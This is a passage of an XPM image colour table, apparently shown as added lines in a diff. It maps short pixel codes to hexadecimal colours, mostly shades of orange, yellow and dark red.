+"1+. c #1B0607", +"2+. c #241803", +"3+. c #9E5E1B", +"4+. c #D48022", +"5+. c #C07329", +"6+. c #BA6821", +"7+. c #B45E17", +"8+. c #AB5115", +"9+. c #A33510", +"0+. c #491E0F", +"a+. c #413602", +"b+. c #764F00", +"c+. c #AE7500", +"d+. c #D68F00", +"e+. c #DB9000", +"f+. c #C26700", +"g+. c #CA7D00", +"h+. c #E9C800", +"i+. c #F6EC00", +"j+. c #D59E00", +"k+. c #BB5F00", +"l+. c #BC5D00", +"m+. c #C36F00", +"n+. c #C16D00", +"o+. c #BF6A00", +"p+. c #B35300", +"q+. c #9E3500", +"r+. c #AB5B00", +"s+. c #DABE00", +"t+. c #D8BC00", +"u+. c #A65500", +"v+. c #9C3200", +"w+. c #BC5E00", +"x+. c #CA6E00", +"y+. c #C06825", +"z+. c #E49811", +"A+. c #D7A600", +"B+. c #D7A200", +"C+. c #C78D00", +"D+. c #B16F00", +"E+. c #F4E600", +"F+. c #B06E00", +"G+. c #C88F00", +"H+. c #DFAF00", +"I+. c #EAB600", +"J+. c #E3B300", +"K+. c #DCAE00", +"L+. c #F6EA00", +"M+. c #F5E800", +"N+. c #B57200", +"O+. c #CC8F00", +"P+. c #D79B00", +"Q+. c #D59900", +"R+. c #DBBD00", +"S+. c #C28C00", +"T+. c #B77100", +"U+. c #C78B00", +"V+. c #CE9600", +"W+. c #D09A00", +"X+. c #D39E00", +"Y+. c #D6A300", +"Z+. c #DBA800", +"`+. c #DFAD00", +" @. c #E2B200", +".@. c #E5B500", +"+@. c #E6B500", +"@@. c #E3B000", +"#@. c #DFAA00", +"$@. c #DAA100", +"%@. c #D59A00", +"&@. c #C98600", +"*@. c #B66600", +"=@. c #F0C500", +"-@. c #D8F105", +";@. c #471010", +">@. c #951709", +",@. c #9C3F10", +"'@. c #A44712", +")@. c #AB5414", +"!@. c #B66615", +"~@. c #BB6B14", +"{@. c #D26E16", +"]@. c #8C4819", +"^@. c #291A16", +"/@. c #A95F2B", +"(@. c #D07D3B", +"_@. c #CA8138", +":@. c #C37727", +"<@. c #B56215", +"[@. c #A84B12", +"}@. c #9A2C0F", +"|@. c #421D0E", +"1@. c #443701", +"2@. c #785100", +"3@. c #B47900", +"4@. c #DD9400", +"5@. c #DF9500", +"6@. c #D98F00", +"7@. c #D78A00", +"8@. c #CF7900", +"9@. c #C56700", +"0@. c #E3B900", +"a@. c #F4E800", +"b@. c #F1E100", +"c@. c #CE8900", +"d@. c #BA5300", +"e@. c #C36700", +"f@. c #BD6600", +"g@. c #A94400", +"h@. c #973200", +"i@. c #F8F700", +"j@. c #B97E00", +"k@. c #992E00", +"l@. c #BA5900", +"m@. c #C86C00", +"n@. c #D37300", +"o@. c #E17C00", +"p@. c #DF7800", +"q@. c #E97C05", +"r@. c #5E2D1A", +"s@. c #C56A26", +"t@. c #EFA511", +"u@. c #E0B400", +"v@. c #BC7B00", +"w@. c #CC9F00", +"x@. c #D4B000", +"y@. c #B56F00", +"z@. c #CD9600", +"A@. c #E4B300", +"B@. c #EAB500", +"C@. c #E9B600", +"D@. c #DFB000", +"E@. c #D9A700", +"F@. c #C48400", +"G@. c #DEB900", +"H@. c #C68C00", +"I@. c #C78800", +"J@. c #CF9900", +"K@. c #C88800", +"L@. c #D9B200", +"M@. c #B26500", +"N@. c #C58800", +"O@. c #CD9000", +"P@. c #CE8F00", +"Q@. c #D19500", +"R@. c #E1AF00", +"S@. c #E8B600", +"T@. c #E6B200", +"U@. c #E3AD00", +"V@. c #DEA500", +"W@. c #D79C00", +"X@. c #CE8E00", +"Y@. c #BB6A00", +"Z@. c #F6CE00", +"`@. c #858E0C", +" #. c #53000D", +".#. c #A53009", +"+#. c #A0440F", +"@#. c #A84E11", +"##. c #B56213", +"$#. c #C2741B", +"%#. c #C27826", +"&#. c #CD7630", +"*#. c #BF6C38", +"=#. c #C07445", +"-#. c #C6774A", +";#. c #C57642", +">#. c #C67A2A", +",#. c #BC6C12", +"'#. c #AB4F0E", +")#. c #92290D", +"!#. c #3D160C", +"~#. c #463200", +"{#. c #794F00", +"]#. c #B77A00", +"^#. c #DD9600", +"/#. c #E19700", +"(#. c #DF9200", +"_#. c #DC8F00", +":#. c #DA8C00", +"<#. c #D68700", +"[#. c #C46300", +"}#. c #C66E00", +"|#. c #E3B800", +"1#. c #FEFD00", +"2#. c #C15F00", +"3#. c #C05C00", +"4#. c #C97200", +"5#. c #C16A00", +"6#. c #B75800", +"7#. c #9A2F00", +"8#. c #A65D00", +"9#. c #BE8900", +"0#. c #932400", +"a#. c #B85200", +"b#. c #C96B00", +"c#. c #E17B00", +"d#. c #E17A00", +"e#. c #E07900", +"f#. c #E97D05", +"g#. c #602E1B", +"h#. c #CA6C27", +"i#. c #F4A911", +"j#. c #E4B800", +"k#. c #DBA700", +"l#. c #B77200", +"m#. c #DCBA00", +"n#. c #C28F00", +"o#. c #BC7900", +"p#. c #EAB700", +"q#. c #EBB700", +"r#. c #E2B400", +"s#. c #D09700", +"t#. c #FCF800", +"u#. c #DDB900", +"v#. c #C27F00", +"w#. c #D19900", +"x#. c #BE7900", +"y#. c #E4C800", +"z#. c #FAF300", +"A#. c #B46E00", +"B#. c #BC7800", +"C#. c #C07900", +"D#. c #C78600", +"E#. c #D19C00", +"F#. c #D6A900", +"G#. c #C78200", +"H#. c #D09100", +"I#. c #DAA300", +"J#. c #DFA900", +"K#. c #E4B100", +"L#. c #E5B100", +"M#. c #E0A900", +"N#. c #D99F00", +"O#. c #CF8F00", +"P#. c #CE7800", +"Q#. c #D5C102", +"R#. c #57420F", +"S#. c #7B0007", +"T#. c #A03A0B", +"U#. c #A6490D", +"V#. c #B15A0F", +"W#. c #C27425", +"X#. c #CB8139", +"Y#. c #CD8545", +"Z#. c #CE7F52", +"`#. c #CA7D5A", +" $. c #CA7F56", +".$. c #C67648", +"+$. c #BE6D2B", +"@$. c #B9660F", +"#$. c #AC4D0A", +"$$. c #87210C", +"%$. c #432A09", +"&$. c #4A3000", +"*$. c #723F00", +"=$. c #DA8D00", +"-$. c #E09300", +";$. c #E09400", +">$. c #E19400", +",$. c #DF9300", +"'$. c #DD9000", +")$. c #DA8B00", +"!$. c #D78600", +"~$. c #D07700", +"{$. c #C35C00", +"]$. c #D18500", +"^$. c #F3DF00", +"/$. c #D08800", +"($. c #BE5400", +"_$. c #C06300", +":$. c #A03300", +"<$. c #9A4100", +"[$. c #C59600", +"}$. c #972B00", +"|$. c #B54D00", +"1$. c #CA6C00", +"2$. c #D47300", +"3$. c #E17900", +"4$. c #EA7D05", +"5$. c #F8AB12", +"6$. c #DDA700", +"7$. c #B97200", +"8$. c #BF8800", +"9$. c #BE7B00", +"0$. c #D19A00", +"a$. c #DDAB00", +"b$. c #EBB800", +"c$. c #E9B700", +"d$. c #C48100", +"e$. c #E3C100", +"f$. c #C38400", +"g$. c #D19700", +"h$. c #D5A000", +"i$. c #CE9300", +"j$. c #E8CF00", +"k$. c #B16200", +"l$. c #BA7300", +"m$. c #DCB800", +"n$. c #F9F600", +"o$. c #EAD200", +"p$. c #C98100", +"q$. c #E0AA00", +"r$. c #EBB900", +"s$. c #EABA00", +"t$. c #E1A900", +"u$. c #DA9D00", +"v$. c #CA8400", +"w$. c #E89600", +"x$. c #A2A108", +"y$. c #45060E", +"z$. c #991805", +"A$. c #9F400A", +"B$. c #AA5009", +"C$. c #BC6C1E", +"D$. c #CC803C", +"E$. c #D48C4F", +"F$. c #D5905D", +"G$. c #CC8163", +"H$. c #CD7E5F", +"I$. c #CA7A4D", +"J$. c #BE692A", +"K$. c #B1590B", +"L$. c #A84407", +"M$. c #7A110A", +"N$. c #453A08", +"O$. c #6A7000", +"P$. c #764700", +"Q$. c #A54F00", +"R$. c #E29600", +"S$. c #E29400", +"T$. c #E19000", +"U$. c #DE8B00", +"V$. c #DA8600", +"W$. c #CA6700", +"X$. c #C25B00", +"Y$. c #E2B500", +"Z$. c #DEAA00", +"`$. c #BE5200", +" %. c #CB6D00", +".%. c #CD7200", +"+%. c #C96C00", +"@%. c #AE4400", +"#%. c #8E2500", +"$%. c #C39700", +"%%. c #D2AF00", +"&%. c #9D3200", +"*%. c #B95200", +"=%. c #CC6B00", +"-%. c #D67100", +";%. c #DD7700", +">%. c #F7AB12", +",%. c #DCA500", +"'%. c #B86F00", +")%. c #DBB500", +"!%. c #C08700", +"~%. c #DAA400", +"{%. c #E9B800", +"]%. c #DCA800", +"^%. c #D39900", +"/%. c #C48300", +"(%. c #E5C600", +"_%. c #C57F00", +":%. c #D8A100", +"<%. c #D69F00", +"[%. c #CA8800", +"}%. c #C78E00", +"|%. c #923700", +"1%. c #F9F400", +"2%. c #F9F500", +"3%. c #E1BC00", +"4%. c #D09600", +"5%. c #D09400", +"6%. c #DFB900", +"7%. c #F8F200", +"8%. c #CB8C00", +"9%. c #CB8500", +"0%. c #DBA300", +"a%. c #E2AC00", +"b%. c #EAB800", +"c%. c #EAB900", +"d%. c #E9B400", +"e%. c #E6AE00", +"f%. c #E1A400", +"g%. c #D89700", +"h%. c #CB7800", +"i%. c #EAB300", +"j%. c #6D6B0E", +"k%. c #570008", +"l%. c #A42C04", +"m%. c #A14506", +"n%. c #B25B0E", +"o%. c #C57830", +"p%. c #CD844D", +"q%. c #D9945E", +"r%. c #D69065", +"s%. c #CC7D5E", +"t%. c #C8754B", +"u%. c #BD6824", +"v%. c #AC5006", +"w%. c #A43905", +"x%. c #761609", +"y%. c #2C0B08", +"z%. c #5F5200", +"A%. c #A4A700", +"B%. c #BA5500", +"C%. c #CB7300", +"D%. c #D68800", +"E%. c #DC8D00", +"F%. c #E19200", +"G%. c #E49400", +"H%. c #E49300", +"I%. c #E39100", +"J%. c #E18E00", +"K%. c #DD8800", +"L%. c #D27900", +"M%. c #C25800", +"N%. c #D38900", +"O%. c #E6BD00", +"P%. c #C05200", +"Q%. c #CF7300", +"R%. c #CB6E00", +"S%. c #C76900", +"T%. c #B74F00", +"U%. c #912300", +"V%. c #CEA300", +"W%. c #9F2C00", +"X%. c #CE6A00", +"Y%. c #481927", +"Z%. c #5F2E1B", +"`%. c #C96C27", +" &. c #DCA400", +".&. c #D29500", +"+&. c #BA6D00", +"@&. c #E3AF00", +"#&. c #E0AB00", +"$&. c #D9A100", +"%&. c #D8AA00", +"&&. c #FDFB00", +"*&. c #CE9400", +"=&. c #CE8C00", +"-&. c #C77F00", +";&. c #B48400", +">&. c #904700", +",&. c #BF7600", +"'&. c #CF8C00", +")&. c #C07000", +"!&. c #C48000", +"~&. c #FCF900", +"{&. c #C78100", +"]&. c #DEA400", +"^&. c #EBB500", +"/&. c #EAB200", +"(&. c #E5AA00", +"_&. c #DE9F00", +":&. c #D38E00", +"<&. c #DBCD04", +"[&. c #49360F", +"}&. c #6F0003", +"|&. c #A43604", +"1&. c #A74A02", +"2&. c #BD6A15", +"3&. c #C5763E", +"4&. c #D08555", +"5&. c #D7905E", +"6&. c #D18757", +"7&. c #C46F41", +"8&. c #BA6117", +"9&. c #AA4B02", +"0&. c #9F2703", +"a&. c #6B1509", +"b&. c #382F07", +"c&. c #400800", +"d&. c #8D6F00", +"e&. c #F9FF00", +"f&. c #E1B900", +"g&. c #BB5A00", +"h&. c #C56400", +"i&. c #E59400", +"j&. c #E69500", +"k&. c #E39000", +"l&. c #D57E00", +"m&. c #C65B00", +"n&. c #CC7400", +"o&. c #C25300", +"p&. c #CE6D00", +"q&. c #D17400", +"r&. c #CE6F00", +"s&. c #C96900", +"t&. c #BA5100", +"u&. c #932600", +"v&. c #CCA600", +"w&. c #B36800", +"x&. c #A62F00", +"y&. c #C76500", +"z&. c #D26D00", +"A&. c #C46A26", +"B&. c #EEA211", +"C&. c #E2B100", +"D&. c #DCA300", +"E&. c #D39700", +"F&. c #C58D00", +"G&. c #EBD800", +"H&. c #C98800", +"I&. c #D29600", +"J&. c #DBA200", +"K&. c #D69B00", +"L&. c #C47B00", +"M&. c #EDD500", +"N&. c #D39400", +"O&. c #DFA800", +"P&. c #C77E00", +"Q&. c #CC9500", +"R&. c #9C6800", +"S&. c #FBF400", +"T&. c #AB5600", +"U&. c #C47600", +"V&. c #D49700", +"W&. c #D99E00", +"X&. c #DBA100", +"Y&. c #D89D00", +"Z&. c #D49500", +"`&. c #C57700", +" *. c #C57200", +".*. c #DA9B00", +"+*. c #E1A500", +"@*. c #E7AE00", +"#*. c #ECB600", +"$*. c #E9AF00", +"%*. c #E3A600", +"&*. c #DB9900", +"**. c #C77700", +"=*. c #EFA700", +"-*. c #CAE008", +";*. c #3A0C0E", +">*. c #850401", +",*. c #A23801", +"'*. c #B05600", +")*. c #BD681C", +"!*. c #C57540", +"~*. c #CC7F4C", +"{*. c #CB7E47", +"]*. c #C4722D", +"^*. c #B35507", +"/*. c #A44001", +"(*. c #9C1900", +"_*. c #4C070B", +":*. c #4B6407", +"<*. c #654900", +"[*. c #600F00", +"}*. c #E2D200", +"|*. c #ECD700", +"1*. c #C16700", +"2*. c #D88400", +"3*. c #E39200", +"4*. c #E69600", +"5*. c #E69400", +"6*. c #E49000", +"7*. c #D88000", +"8*. c #C95E00", +"9*. c #CA6D00", +"0*. c #C25000", +"a*. c #D17000", +"b*. c #D37400", +"c*. c #D07000", +"d*. c #CA6A00", +"e*. c #B84E00", +"f*. c #952500", +"g*. c #F0E400", +"h*. c #A13D00", +"i*. c #B44400", +"j*. c #CB6700", +"k*. c #D57000", +"l*. c #EA7C05", +"m*. c #5C2C19", +"n*. c #BD6924", +"o*. c #E29210", +"p*. c #D79A00", +"q*. c #DAA000", +"r*. c #CD8D00", +"s*. c #B66700", +"t*. c #A24B00", +"u*. c #AE5700", +"v*. c #BF7200", +"w*. c #C98000", +"x*. c #D69600", +"y*. c #C98700", +"z*. c #E8CC00", +"A*. c #E2AE00", +"B*. c #DEA700", +"C*. c #CD8900", +"D*. c #BF7A00", +"E*. c #FEF900", +"F*. c #E8E000", +"G*. c #A34A00", +"H*. c #CE8800", +"I*. c #D79900", +"J*. c #DFA600", +"K*. c #E1A800", +"L*. c #DB9E00", +"M*. c #D59500", +"N*. c #C36D00", +"O*. c #D19300", +"P*. c #D08200", +"Q*. c #E4A900", +"R*. c #E9B200", +"S*. c #ECB700", +"T*. c #EAB400", +"U*. c #E6AC00", +"V*. c #DF9F00", +"W*. c #D79000", +"X*. c #BF5F00", +"Y*. c #FFE800", +"Z*. c #B7CC0A", +"`*. c #33000C", +" =. c #901200", +".=. c #A03A00", +"+=. c #B15800", +"@=. c #B86214", +"#=. c #C06D25", +"$=. c #BB6321", +"%=. c #BB660B", +"&=. c #AC4C00", +"*=. c #982E01", +"==. c #8B0800", +"-=. c #3A070C", +";=. c #433D03", +">=. c #8D9500", +",=. c #844200", +"'=. c #E0C600", +")=. c #C87400", +"!=. c #C45B00", +"~=. c #D98600", +"{=. c #DF8D00", +"]=. c #E49200", +"^=. c #E79300", +"/=. c #E79200", +"(=. c #E59000", +"_=. c #E28A00", +":=. c #D87E00", +"<=. c #CA5C00", +"[=. c #C44F00", +"}=. c #D27100", +"|=. c #CC6900", +"1=. c #B64600", +"2=. c #9B2F00", +"3=. c #E2CB00", +"4=. c #DDBE00", +"5=. c #9C2600", +"6=. c #CE6900", +"7=. c #D87100", +"8=. c #DF7500", +"9=. c #E58026", +"0=. c #5D2D19", +"a=. c #582919", +"b=. c #B26123", +"c=. c #F5C90F", +"d=. c #E2B800", +"e=. c #D19100", +"f=. c #CD8C00", +"g=. c #B66C00", +"h=. c #F2E600", +"i=. c #C78A00", +"j=. c #DCB500", +"k=. c #D39300", +"l=. c #D08C00", +"m=. c #CB8400", +"n=. c #E1AB00", +"o=. c #D59600", +"p=. c #B65F00", +"q=. c #B57F00", +"r=. c #AB5000", +"s=. c #D08900", +"t=. c #E5AD00", +"u=. c #E8B300", +"v=. c #E3A900", +"w=. c #DC9C00", +"x=. c #D48B00", +"y=. c #F7EB00", +"z=. c #DB9800", +"A=. c #E2A500", +"B=. c #E8B000", +"C=. c #ECB800", +"D=. c #ECB500", +"E=. c #E9AE00", +"F=. c #E3A200", +"G=. c #D18800", +"H=. c #827B0C", +"I=. c #360009", +"J=. c #961200", +"K=. c #A13E00", +"L=. c #AA4B00", +"M=. c #B15600", +"N=. c #B05200", +"O=. c #A84500", +"P=. c #A03E00", +"Q=. c #941900", +"R=. c #670006", +"S=. c #34220A", +"T=. c #4E1E00", +"U=. c #8A7700", +"V=. c #D2C900", +"W=. c #912600", +"X=. c #CDA000", +"Y=. c #C76C00", +"Z=. c #CB6500", +"`=. c #DB8800", +" -. c #E18D00", +".-. c #E89400", +"+-. c #E79000", +"@-. c #E58D00", +"#-. c #E28900", +"$-. c #D97D00", +"%-. c #C95600", +"&-. c #D68900", +"*-. c #C95700", +"=-. c #D67600", +"--. c #D67400", +";-. c #D36E00", +">-. c #B23D00", +",-. c #9E3A00", +"'-. c #F3EA00", +")-. c #C89200", +"!-. c #A42D00", +"~-. c #C65E00", +"{-. c #D26A00", +"]-. c #DC7200", +"^-. c #E97B05", +"/-. c #451725", +"(-. c #572918", +"_-. c #A24D21", +":-. c #FEE50E", +"<-. c #F9F000", +"[-. c #C98300", +"}-. c #C67F00", +"|-. c #B55F00", +"1-. c #D8BF00", +"2-. c #DFB800", +"3-. c #CC8400", +"4-. c #D49400", +"5-. c #CC8200", +"6-. c #DAA900", +"7-. c #FAF600", +"8-. c #DCA000", +"9-. c #E3AC00", +"0-. c #E8B400", +"a-. c #E4AE00", +"b-. c #DA9C00", +"c-. c #C26D00", +"d-. c #C58400", +"e-. c #DAB600", +"f-. c #B04E00", +"g-. c #D08300", +"h-. c #DEA100", +"i-. c #E7B000", +"j-. c #EDB900", +"k-. c #E8B100", +"l-. c #E0A300", +"m-. c #D89500", +"n-. c #D39200", +"o-. c #D58900", +"p-. c #E0A200", +"q-. c #E7AD00", +"r-. c #ECB300", +"s-. c #EBB000", +"t-. c #E6A600", +"u-. c #DF9900", +"v-. c #D78900", +"w-. c #C36900", +"x-. c #FFE900", +"y-. c #50250E", +"z-. c #470007", +"A-. c #9A1600", +"B-. c #993400", +"C-. c #9F3900", +"D-. c #A23F00", +"E-. c #982D00", +"F-. c #8D2000", +"G-. c #8E0200", +"H-. c #43030B", +"I-. c #363206", +"J-. c #643500", +"K-. c #7F3100", +"L-. c #E8DC00", +"M-. c #D9AC00", +"N-. c #952700", +"O-. c #EBDE00", +"P-. c #B66400", +"Q-. c #FDFD00", +"R-. c #C76600", +"S-. c #DE8800", +"T-. c #E38D00", +"U-. c #E69000", +"V-. c #E89100", +"W-. c #E89000", +"X-. c #E68D00", +"Y-. c #E28800", +"Z-. c #C64F00", +"`-. c #CC6600", +" ;. c #D06300", +".;. c #D16D00", +"+;. c #CA6400", +"@;. c #A42900", +"#;. c #B56300", +"$;. c #B03700", +"%;. c #CD6500", +"&;. c #D76D00", +"*;. c #E77705", +"=;. c #E37F25", +"-;. c #7D441D", +";;. c #572A18", +">;. c #9C4620", +",;. c #EABC0E", +"';. c #C37400", +");. c #C47800", +"!;. c #AD5600", +"~;. c #852800", +"{;. c #EFE700", +"];. c #FDFE00", +"^;. c #D39C00", +"/;. c #C97B00", +"(;. c #D59200", +"_;. c #D59300", +":;. c #CB7B00", +"<;. c #E1B400", +"[;. c #CE8B00", +"};. c #D18700", +"|;. c #DC9D00", +"1;. c #E4AA00", +"2;. c #DFA100", +"3;. c #D38C00", +"4;. c #BD6100", +"5;. c #DEB800", +"6;. c #DFB600", +"7;. c #D08700", +"8;. c #DD9B00", +"9;. c #E7AF00", +"0;. c #EDBA00", +"a;. c #E2A600", +"b;. c #DA9800", +"c;. c #CC7700", +"d;. c #D59B00", +"e;. c #DF9C00", +"f;. c #E7A900", +"g;. c #ECB200", +"h;. c #EDB400", +"i;. c #EDB300", +"j;. c #EDB200", +"k;. c #E9AA00", +"l;. c #E19D00", +"m;. c #DA9000", +"n;. c #C76800", +"o;. c #EBCA00", +"p;. c #D37901", +"q;. c #4E2A0F", +"r;. c #500006", +"s;. c #920E00", +"t;. c #881900", +"u;. c #8C2000", +"v;. c #841600", +"w;. c #8A0000", +"x;. c #630006", +"y;. c #302A0C", +"z;. c #563200", +"A;. c #754500", +"B;. c #D28C00", +"C;. c #A83D00", +"D;. c #A22400", +"E;. c #EED900", +"F;. c #F2E000", +"G;. c #C65700", +"H;. c #E08800", +"I;. c #E48C00", +"J;. c #E78F00", +"K;. c #E89200", +"L;. c #E89300", +"M;. c #E78E00", +"N;. c #E58A00", +"O;. c #E28500", +"P;. c #F0D800", +"Q;. c #F0D400", +"R;. c #C84F00", +"S;. c #D06A00", +"T;. c #C25400", +"U;. c #9F3000", +"V;. c #E3CC00", +"W;. c #E7CF00", +"X;. c #A73400", +"Y;. c #C45600", +"Z;. c #D26600", +"`;. c #E47405", +" >. c #E27F25", +".>. c #572B18", +"+>. c #9F4D20", +"@>. c #D8970E", +"#>. c #B04F00", +"$>. c #B85D00", +"%>. c #B35500", +"&>. c #AC4B00", +"*>. c #C08500", +"=>. c #F3ED00", +"->. c #D79200", +";>. c #DA9900", +">>. c #CC7B00", +",>. c #CF8100", +"'>. c #DC9B00", +")>. c #E4A800", +"!>. c #DD9D00", +"~>. c #D18400", +"{>. c #F2E400", +"]>. c #F7EF00", +"^>. c #DC9700", +"/>. c #DB9700", +"(>. c #CC7600", +"_>. c #D27C00", +":>. c #E09B00", +"<>. c #EEB400", +"[>. c #EBAD00", +"}>. c #E4A000", +"|>. c #DC9200", +"1>. c #CC6C00", +"2>. c #DE8300", +"3>. c #CF6E02", +"4>. c #4A2A0F", +"5>. c #500005", +"6>. c #850000", +"7>. c #770300", +"8>. c #880000", +"9>. c #690005", +"0>. c #291B0F", +"a>. c #596702", +"b>. c #6F4500", +"c>. c #964E00", +"d>. c #A73000", +"e>. c #CC8000", +"f>. c #B63D00", +"g>. c #E4B400", +"h>. c #CB5A00", +"i>. c #E58E00", +"j>. c #E99000", +"k>. c #E98F00", +"l>. c #E88D00", +"m>. c #E58900", +"n>. c #E18300", +"o>. c #D16400", +"p>. c #CF6800", +"q>. c #FDFF00", +"r>. c #DE9B00", +"s>. c #CB5500", +"t>. c #D67000", +"u>. c #CD6600", +"v>. c #AA2F00", +"w>. c #B46800", +"x>. c #B33800", +"y>. c #CE6100", +"z>. c #E07105", +"A>. c #DF7D24", +"B>. c #A85B20", +"C>. c #C86F0E", +"D>. c #EEDA00", +"E>. c #E0BE00", +"F>. c #C78400", +"G>. c #D6A500", +"H>. c #E9D500", +"I>. c #ECD500", +"J>. c #C36C00", +"K>. c #D79300", +"L>. c #DD9E00", +"M>. c #D28500", +"N>. c #D29400", +"O>. c #DAA600", +"P>. c #EBB600", +"Q>. c #E4A700", +"R>. c #D78E00", +"S>. c #CC7900", +"T>. c #CE8200", +"U>. c #E9B100", +"V>. c #EDB700", +"W>. c #EAB100", +"X>. c #CC6F00", +"Y>. c #E19C00", +"Z>. c #E8A900", +"`>. c #EEB500", +" ,. c #EEB200", +".,. c #ECAD00", +"+,. c #E6A100", +"@,. c #DE9300", +"#,. c #D27400", +"$,. c #D99700", +"%,. c #D59800", +"&,. c #D55C00", +"*,. c #CC7D03", +"=,. c #4F3A0F", +"-,. c #4E0006", +";,. c #780000", +">,. c #520007", +",,. c #2A110F", +"',. c #442904", +"),. c #7D6B00", +"!,. c #A29100", +"~,. c #C75800", +"{,. c #B13200", +"],. c #E3BD00", +"^,. c #E4B900", +"/,. c #B12600", +"(,. c #D38800", +"_,. c #D47B00", +":,. c #D56D00", +"<,. c #DF8600", +"[,. c #E48A00", +"},. c #E98E00", +"|,. c #E78B00", +"1,. c #E48600", +"2,. c #CA5000", +"3,. c #E2A900", +"4,. c #CC5D00", +"5,. c #D76E00", +"6,. c #D16900", +"7,. c #C35100", +"8,. c #A23300", +"9,. c #A92E00", +"0,. c #C95B00", +"a,. c #DC6C05", +"b,. c #DC7B24", +"c,. c #5B2D19", +"d,. c #B26422", +"e,. c #D57B0F", +"f,. c #C77800", +"g,. c #E4C500", +"h,. c #C06B00", +"i,. c #E3A700", +"j,. c #C87800", +"k,. c #F8EE00", +"l,. c #C36B00", +"m,. c #D68E00", +"n,. c #DE9E00", +"o,. c #EBB400", +"p,. c #E8AF00", +"q,. c #E5A900", +"r,. c #E2A300", +"s,. c #DF9D00", +"t,. c #DE9A00", +"u,. c #E09C00", +"v,. c #E4A300", +"w,. c #E8AC00", +"x,. c #EBB100", +"y,. c #E9AD00", +"z,. c #E29F00", +"A,. c #EED300", +"B,. c #D07C00", +"C,. c #DB8D00", +"D,. c #E3A000", +"E,. c #EAAC00", +"F,. c #EEB300", +"G,. c #EDB100", +"H,. c #EDB000", +"I,. c #EEB000", +"J,. c #ECAC00", +"K,. c #DF9400", +"L,. c #D77E00", +"M,. c #BC4C00", +"N,. c #E07700", +"O,. c #E8DD03", +"P,. c #6A4D0C", +"Q,. c #57120C", +"R,. c #6A620C", +"S,. c #795903", +"T,. c #7E3700", +"U,. c #DCD600", +"V,. c #D88D00", +"W,. c #D16B00", +"X,. c #CF6C00", +"Y,. c #CB6B00", +"Z,. c #C96700", +"`,. c #D69500", +" '. c #E3BF00", +".'. c #BE4800", +"+'. c #BE4400", +"@'. c #F0D900", +"#'. c #F2DA00", +"$'. c #CC5900", +"%'. c #E68B00", +"&'. c #E88F00", +"*'. c #E88C00", +"='. c #E78800", +"-'. c #E38100", +";'. c #D66E00", +">'. c #CB5900", +",'. c #F6EB00", +"''. c #E3A800", +")'. c #CD5400", +"!'. c #D56C00", +"~'. c #CC6100", +"{'. c #A52700", +"]'. c #BD8000", +"^'. c #C24C00", +"/'. c #D86904", +"('. c #D77923", +"_'. c #7C431D", +":'. c #BA6724", +"<'. c #E59410", +"['. c #C46D00", +"}'. c #D9A300", +"|'. c #CF8E00", +"1'. c #E2A100", +"2'. c #E6A900", +"3'. c #E7AB00", +"4'. c #DA9500", +"5'. c #C66D00", +"6'. c #E3A300", +"7'. c #EBB200", +"8'. c #EAAF00", +"9'. c #E9AC00", +"0'. c #E7AA00", +"a'. c #E7A800", +"b'. c #EBAF00", +"c'. c #E09A00", +"d'. c #D78400", +"e'. c #FCF700", +"f'. c #F0D700", +"g'. c #CE7100", +"h'. c #DE9500", +"i'. c #E5A100", +"j'. c #EBAC00", +"k'. c #EEB100", +"l'. c #EDAF00", +"m'. c #EDAD00", +"n'. c #EBA800", +"o'. c #E49C00", +"p'. c #DE8F00", +"q'. c #D57D00", +"r'. c #CD7100", +"s'. c #FAF900", +"t'. c #E6C200", +"u'. c #C24E00", +"v'. c #FBDB00", +"w'. c #E49500", +"x'. c #BD6303", +"y'. c #EFD900", +"z'. c #BB5600", +"A'. c #EDD100", +"B'. c #EECB00", +"C'. c #CC5C00", +"D'. c #D27300", +"E'. c #C45200", +"F'. c #EACC00", +"G'. c #CA6F00", +"H'. c #E9D100", +"I'. c #C75F00", +"J'. c #C65200", +"K'. c #D27B00", +"L'. c #FCFE00", +"M'. c #DC8C00", +"N'. c #D66B00", +"O'. c #E48800", +"P'. c #E78D00", +"Q'. c #E98D00", +"R'. c #E98B00", +"S'. c #E88900", +"T'. c #E58500", +"U'. c #CE5400", +"V'. c #F3E000", +"W'. c #CF5C00", +"X'. c #D96F00", +"Y'. c #DC7300", +"Z'. c #CE6300", +"`'. c #B73D00", +" ). c #B75C00", +".). c #BA3E00", +"+). c #D56504", +"@). c #D37622", +"#). c #4B1B25", +"$). c #C26A25", +"%). c #EC9911", +"&). c #D88E00", +"*). c #CE7A00", +"=). c #CA7200", +"-). c #CA7300", +";). c #D07D00", +">). c #DD9700", +",). c #E09D00", +"'). c #EAAD00", +")). c #EAAE00", +"!). c #E5A400", +"~). c #DD9800", +"{). c #CE7600", +"]). c #D49600", +"^). c #EACB00", +"/). c #C36200", +"(). c #D88C00", +"_). c #E8AA00", +":). c #ECB100", +"<). c #EDB500", +"[). c #EBAE00", +"}). c #DE9700", +"|). c #CF6D00", +"1). c #D47600", +"2). c #E29800", +"3). c #E8A300", +"4). c #ECAA00", +"5). c #EAA800", +"6). c #D47800", +"7). c #CD6D00", +"8). c #C24500", +"9). c #D99200", +"0). c #EDD800", +"a). c #D56400", +"b). c #EECC00", +"c). c #CF6500", +"d). c #D46D00", +"e). c #F8EF00", +"f). c #D26C00", +"g). c #EDD300", +"h). c #C86000", +"i). c #EED700", +"j). c #CC6000", +"k). c #C74D00", +"l). c #EFD300", +"m). c #F2D800", +"n). c #D25E00", +"o). c #E38600", +"p). c #E98C00", +"q). c #E98A00", +"r). c #E78700", +"s). c #E38000", +"t). c #D86D00", +"u). c #D16700", +"v). c #F2DD00", +"w). c #DF9100", +"x). c #D56100", +"y). c #DD7500", +"z). c #DB7100", +"A). c #C34E00", +"B). c #B04400", +"C). c #C98200", +"D). c #B53200", +"E). c #D46304", +"F). c #D07522", +"G). c #7A431D", +"H). c #C86D27", +"I). c #F39F11", +"J). c #E4A600", +"K). c #DC9500", +"L). c #E19B00", +"M). c #E7A600", +"N). c #ECB000", +"O). c #ECAF00", +"P). c #E8A800", +"Q). c #E29E00", +"R). c #D98D00", +"S). c #C86D00", +"T). c #F1DD00", +"U). c #D49100", +"V). c #CE7000", +"W). c #EEB600", +"X). c #EFB600", +"Y). c #E49F00", +"Z). c #DB8600", +"`). c #FBF500", +" !. c #FBF300", +".!. c #E59D00", +"+!. c #EEAF00", +"@!. c #EDAE00", +"#!. c #ECAB00", +"$!. c #EAA700", +"%!. c #E9A200", +"&!. c #E59900", +"*!. c #D26900", +"=!. c #D27700", +"-!. c #E2AA00", +";!. c #C44300", +">!. c #E3AE00", +",!. c #EBC900", +"'!. c #D26800", +")!. c #D36A00", +"!!. c #F1CE00", +"~!. c #D56A00", 